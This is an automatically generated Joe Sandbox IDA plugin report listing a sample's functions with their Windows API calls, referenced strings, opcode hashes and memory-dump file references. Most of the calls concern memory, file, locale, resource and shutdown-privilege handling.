Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Function 00405280 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,004053B6), ref: 0040529F

Part of subcall function 00404CDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CF9

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction ID: b95c725f163960c8622ba1b0af82130980b93a97e76f79286a035b518bc8de08
Opcode Fuzzy Hash: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
Instruction Fuzzy Hash: 90314F75E01509ABCB00DF95C8C19EEB379FF84304F158577E815BB286E739AE068B98

Function 00407576 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8

Function 00407578 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8

Function 004069DC Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428

Function 004076C8 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,01FD03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676

Function 00407284 Relevance: 1.5, APIs: 1, Instructions: 28windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: FormatMessage
String ID:
API String ID: 1306739567-0
Opcode ID: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction ID: 7b38442d06f496379890204edef453c821f476d6c52b93f329ea0e63e965d40b
Opcode Fuzzy Hash: 7ef42d69529baecca532a801bf1eab389dc79dba057db81877db687b261eaad4
Instruction Fuzzy Hash: 17E0D8A0B8830136F22414544C87B77220E47C0700F10807E7700ED3C6D6BEA906815F

Function 004076AC Relevance: 1.5, APIs: 1, Instructions: 11fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNEL32(?,01FE8000,0040AA59,00000000), ref: 004076B3

Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,01FD03AC,?,0040A69B,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 0040748F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorFileLast
String ID:
API String ID: 734332943-0
Opcode ID: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction ID: f788b2e916ece263959a2b362e6cc5638f15ca068e5e6b6e193a7bb405067b9b
Opcode Fuzzy Hash: 3c9e02bda174eefd6a6752df40b73b0cbe28e66d981a9881f8e50d89b6fd2d40
Instruction Fuzzy Hash: BEC04CA1A1410047CB40A6BE89C1A1666D85A4821530485B6B908DB297D679E8004666

Function 00406FFB Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction ID: c47f2f618e2971e07f5b1abb1c43dc6c143ad8b034d1ddbdae76011a93498253
Opcode Fuzzy Hash: 070e151ae7371931e812c23e1680e2574253ea8634671ff6451d3f815f7c1847
Instruction Fuzzy Hash: 54B09B76A1C2415DE705DAD5745153863D4D7C47143A14977F104D35C0D53DA4144519

Function 00407017 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(?,00407019), ref: 0040700C

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction ID: a55afa0689d716a84ca499c05243e055e04a08b2ab071a0afeb25d409e08decd
Opcode Fuzzy Hash: 258b7047379ce46b8540a294da6ad57472ce1849ceeb23a1b4b516eeda09cad2
Instruction Fuzzy Hash: FFA022A8C08000B2CE00E2E08080A3C23283A88308BC08BA2320CB20C0C03CE008020B

Function 00406970 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,?,0040696C,?,00406649,?,?,00406D87,00000000,00406DAC,?,?,?,?,00000000,00000000), ref: 00406972

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction ID: 57bb655d476c0b104ac503b4dc16dcc9cc7d9309af7e6782790f501f1b0aeff9
Opcode Fuzzy Hash: 4f55c7aa95ee0cc6def6f8b84b07f7a00b4eea213dcaa2411b48aa5a82a0c27b
Instruction Fuzzy Hash:

Function 00407F10 Relevance: 1.3, APIs: 1, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 00407FA0

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction ID: 1e7236936b067224bcb0a7c190bcfb18a105a15b1652d3161176e1d0ad605fa4
Opcode Fuzzy Hash: 636722d4ca057b68616df378e1b8a5bd7f337355b9f7c137ab23b8dc1cafdb71
Instruction Fuzzy Hash: 43116371A042059BDB00EF19C881B5B7794AF44359F05807AF958AB2C6DB38E800CBAA

Function 00401658 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,?,00004000,?,0000000C,?,-00000008,00003FFB,004018BF), ref: 004016B2

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction ID: 63c8255cdd02620dd55efc6405714c3c0a63becca9b218cdeda95617091702f1
Opcode Fuzzy Hash: b4adf7af80dac51c1d798f2a6c61165d01e4b71ea77261fd7569ef2c91f553a4
Instruction Fuzzy Hash: 3601A7726442148BC310AF28DDC093A77D5EB85364F1A4A7ED985B73A1D23B6C0587A8

Function 00407548 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 00407558

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction ID: e7ddd8f09f86228f97b62737e097d00c20d119481f2284b048c56b7aa048eabb
Opcode Fuzzy Hash: fc6098dcd6b1504a072b68d3feaaa537492281b052079d944a979dec092e75e7
Instruction Fuzzy Hash: 41D05E82B00A6017D615F2BE4D8869692D85F89685B08843AF654E77D1D67CEC00838D

Function 00407EB8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,?,00407E9D), ref: 00407ECF

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction ID: 622015b425f940adf6dc1d0f89e873b9c6d17cfe6f0c2733970da1323f12c917
Opcode Fuzzy Hash: c7bedad96efb848ea9f674ed311898bb29a23f2a16fc3a9de009753beeeb9dd9
Instruction Fuzzy Hash: 3ED0E9B17553055BDB90EEB98CC1B0237D8BB48610F5044B66904EB296E674E8009654

Non-executed Functions

Function 00409448 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00409457
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 0040945D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00409476
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 0040949D
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000,00000000,SeShutdownPrivilege), ref: 004094A2
ExitWindowsEx.USER32(00000002,00000000), ref: 004094B3

Strings

SeShutdownPrivilege, xrefs: 0040946F

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction ID: 55e16e97e4c30333ef6e9d7cb44a764448f3c494fd9ead6bbbdf5d5bb2f9c1eb
Opcode Fuzzy Hash: 5d5c4cc2167cea31fe6e778ad900630fb502c4628614430f67a63468396a48bc
Instruction Fuzzy Hash: 61F012B069830179E610AAB18D07F6762885BC4B18F50493ABB15FA1C3D7BDD809466F

Function 00409C34 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00002B67,0000000A), ref: 00409C3E
SizeofResource.KERNEL32(00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000,0040ACC9), ref: 00409C51
LoadResource.KERNEL32(00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92,?,00000000), ref: 00409C63
LockResource.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0040A6B3,00000000,0040AC4A,?,00000001,00000000,00000002,00000000,0040AC92), ref: 00409C74

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
Instruction ID: 5c2a5118689e511edc0a9dde7e1b9e77d0383d271af581b44440e1e73e890ea9
Opcode Fuzzy Hash: 66472a43d98f2116202d14454299061058d21427157a3f4f4112e001326967e1
Instruction Fuzzy Hash: B0E07E80B8874726FA6576FB08C7B6B008C4BA570EF00003BB700792C3DDBC8C04462E

Function 00407024 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 0040704D
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407053
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,00407129,?,00000000,00409918), ref: 004070A1

Strings

Locale, xrefs: 00407090
GetUserDefaultUILanguage, xrefs: 00407043
.DEFAULT\Control Panel\International, xrefs: 00407078
Control Panel\Desktop\ResourceLocale, xrefs: 004070B0
kernel32.dll, xrefs: 00407048

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction ID: c068e7fb85b52830e378cef5638f1cf195f9e270113e5aa630163df598a56aa7
Opcode Fuzzy Hash: 84283e8ecd5f01446eeee6c4ca3ac4597d6d061694d9d4138b3ca6e7d0b19e25
Instruction Fuzzy Hash: 72214170E04209ABDB10EAB5CC55A9E77A9EB48304F60847BA510FB3C1D7BCAE01875E

Function 00403A97 Relevance: 15.1, APIs: 10, Instructions: 122fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B1E
GetFileSize.KERNEL32(?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B42
SetFilePointer.KERNEL32(?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000,00000003,00000080,00000000), ref: 00403B5E
ReadFile.KERNEL32(?,?,00000080,?,00000000,00000000,?,-00000080,00000000,00000000,?,00000000,00000000,80000000,00000002,00000000), ref: 00403B7F
SetFilePointer.KERNEL32(?,00000000,00000000,00000002), ref: 00403BA8
SetEndOfFile.KERNEL32(?,?,00000000,00000000,00000002), ref: 00403BB2
GetStdHandle.KERNEL32(000000F5), ref: 00403BD2
GetFileType.KERNEL32(?,000000F5), ref: 00403BE9
CloseHandle.KERNEL32(?,?,000000F5), ref: 00403C04
GetLastError.KERNEL32(000000F5), ref: 00403C1E

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: File$HandlePointer$CloseCreateErrorLastReadSizeType
String ID:
API String ID: 1694776339-0
Opcode ID: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction ID: 6684f6b4d1923fa93cc5777a7ebe0ca766b8c5f16b1f456132d2f0a6dbb27d3d
Opcode Fuzzy Hash: bd0a662ad2dd38144def4530256030cdb08cf53568247c3ffcddd32d1ed1ea18
Instruction Fuzzy Hash: 444194302042009EF7305F258805B237DEDEB4571AF208A3FA1D6BA6E1E77DAE419B5D

Function 004053C4 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040560C,?,?,?,?,00000000,00000000,00000000,?,004065EB,00000000,004065FE), ref: 004053DE

Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A

Part of subcall function 00405258: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040545A,?,?,?,00000000,0040560C), ref: 0040526B

Strings

AMPM, xrefs: 004055A9
:mm:ss, xrefs: 004055DA
mmmm d, yyyy, xrefs: 004054CF
:mm, xrefs: 004055C0
m/d/yy, xrefs: 004054AD

Memory Dump Source

Source File: 00000013.00000002.2764281253.0000000000401000.00000020.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2764203813.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764416879.000000000040B000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2764552971.0000000000411000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_sTd4WXsFge4OZIqww_UHT8nz.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 2becd82198b95216644133442ecc563e5ef80f5327bc31795fb041598c227e39
